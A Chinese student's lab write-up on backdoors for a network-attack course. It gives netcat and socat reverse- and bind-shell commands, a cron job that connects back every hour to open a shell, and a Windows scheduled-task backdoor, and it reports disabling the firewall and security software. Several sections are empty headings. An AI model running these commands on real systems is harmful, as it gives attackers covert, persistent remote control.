2019-2020-2 20175227张雪莹《网络对抗技术》 Exp2 后门原理与实践
2019-2020-2 20175227张雪莹《网络对抗技术》
Exp2 后门原理与实践
目录
0. 基础知识
0.1 后门概念
不经过正常认证流程而访问系统的通道。
0.2 哪里有后门?
- 编译器留后门
- 操作系统留后门
- 最常见的当然还是应用程序中留后门
- 还有就是潜伏于操作系统中或伪装为特定应用的专用后门程序。
0.3 相对狭义的后门概念:
- 特指潜伏于操作系统中专门做后门的一个程序
- “坏人”可以连接这个程序
- 远程执行各种指令
- 概念和木马有重叠
1. 实验内容
1.0 常用后门工具
-
NC
或netcat
:是一个底层工具,进行基本的TCP
UDP
数据收发。常被与其他工具结合使用,起到后门的作用。-
Linux
: 一般自带netcat
,"man netcat
" 或"man nc
"可查看其使用说明。 -
Windows
: 课程主页附件中下载ncat.rar
解压即可使用。 -
Mac
: 系统自带,"man nc
",查看其使用说明。
-
1.0.1 Win获得Linux Shell
- windows 打开监听
- 下载ncat.rar,解压至主机中任意位置。(为了方便,我将它放在
C:\Users\S2
中,这样命令行中直接进入即可) - 在主机上按
Windows+r
输入cmd
打开命令行,输入ipconfig
查看主机IP地址
- 下载ncat.rar,解压至主机中任意位置。(为了方便,我将它放在
- 进入
nc
所在文件夹中,输入ncat.exe -l -p <端口号>
,如图:
- Linux反弹连接win
- 在
kali
终端中输入nc <主机IP地址> <之前输入的端口号> -e /bin/sh
,如图:
- 在
-
windows
下获得一个linux shell
,可运行任何指令,如ls
,pwd
1.0.2 Linux获得Win Shell
-
Linux运行监听指令
-
输入
ip add
查看Linux
的IP地址 - 之后输入
nc -l -p <端口号>
,使其处于监听状态
-
输入
-
Windows反弹连接Linux
- 输入
ncat.exe -e cmd.exe ip_of_linux <之前输入的端口号>
- 输入
-
Linux下看到Windows的命令提示
1.0.3 使用nc传输数据
- windows运行监听指令
- Linux连接到Windows
- 建立连接后可传输数据
1.1 使用netcat获取主机操作Shell,cron启动
- 在主机打开命令行,使用
ncat.exe -l 5227
监听5227
端口
- 在Linux中,终端里输入
crontab -e
编辑一条定时任务,之后选择编辑器3
,在底行插入30 * * * * /bin/netcat 192.168.171.1 5227 -e /bin/sh
,即在每个小时的第30分钟反向连接主机的5227
端口。
1.2 使用socat获取主机操作Shell, 任务计划启动
- 在主机上下载老师附件中提供的
socat.rar
,然后解压到自选路径。 - 在主机中找到左下角windows标志,然后
右键
->计算机管理
->任务计划程序
->创建任务
- 在
常规
选项卡中填写任务名称( 这里我起名为zxysocat
),然后在触发器
选项卡中新建触发器,参照下图选择:
- 在
操作
选项卡中,选择新建操作
,设置中程序或脚本处
选中你所下载解压的socat.exe
的路径,在添加参数中填入tcp-listen:<端口号> exec:cmd.exe,pty,stderr
,即将cmd.exe
绑定到该端口号,同时把cmd.exe
的stderr
重定向stdout
上。
- 确定操作后,需按win+L锁定主机,登录进去后,双击任务计划程序库,可以发现刚刚创建的任务socat已经开始运行。
- 紧接着,在Linux中输入
socat - tcp:<主机IP>:<之前输入的端口号>
,其中-
表示标准输入/出,第二个流连接到主机的相应端口。之后发现已经成功获得一个cmd Shell
1.3 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
1.4 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
1.5 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
2. 老师提问
2.1 例举你能想到的一个后门进入到你系统中的可能方式?
2.2 例举你知道的后门如何启动起来(win及linux)的方式?
2.3 Meterpreter有哪些给你映像深刻的功能?
2.4 如何发现自己有系统有没有被安装后门?
3. 所遇到的问题及其解决方法
3.1 问题1
- 描述:无法查看
Linux
的IP地址,ifconfig
命令无法找到,如图:
- 解决方法:我怀疑是没有安装与
ifconfig
命令相关的工具包,上网搜索之后该命令在net-tools
中,apt-get install net-tools
后显示该工具包已经安装,如图:
之后经过发现一篇博文发现ifconfig
命令已经被逐渐淘汰,建议选用ip add
命令,果真查到了IP地址结果在此。
3.2 问题2
- 描述:Linux监听失败,未能进入Windows Shell,如图:
- 解决办法:我猜测可能是由于主机防火墙已经将其拦截,打开拦截信息查看,果真如此,如图:
关闭防火墙,卸载安全软件后,Linux成功进入Windows Shell,结果在此。
3.3 问题3
-
描述:未安装execstack,如图:
-
解决方法:输入
sudo apt-get update
和sudo apt-get install execstack
等待片刻即可。##### 3.4 问题4- 描述:
- 解决方法:
4. 实验感想
- 在这次实验中,我通过实践来具体经历了在上学期《信息安全技术》中学到的缓冲区溢出攻击。更加深刻地认识到,缓冲区溢出攻击具体是如何修改返回地址的,将这些知识结合汇编语言以及在《信息安全系统设计原理》中学到的一些指令,收获着实不小。总的来说,这次实验进行得非常顺利,基本上遇到的问题都很简单,得益于老师的细心讲解以及往届学长的总结博客,学下来既感觉收获良多,得到的训练也很大。
5.参考资料
- https://blog.****.net/weixin_45365048/article/details/103655654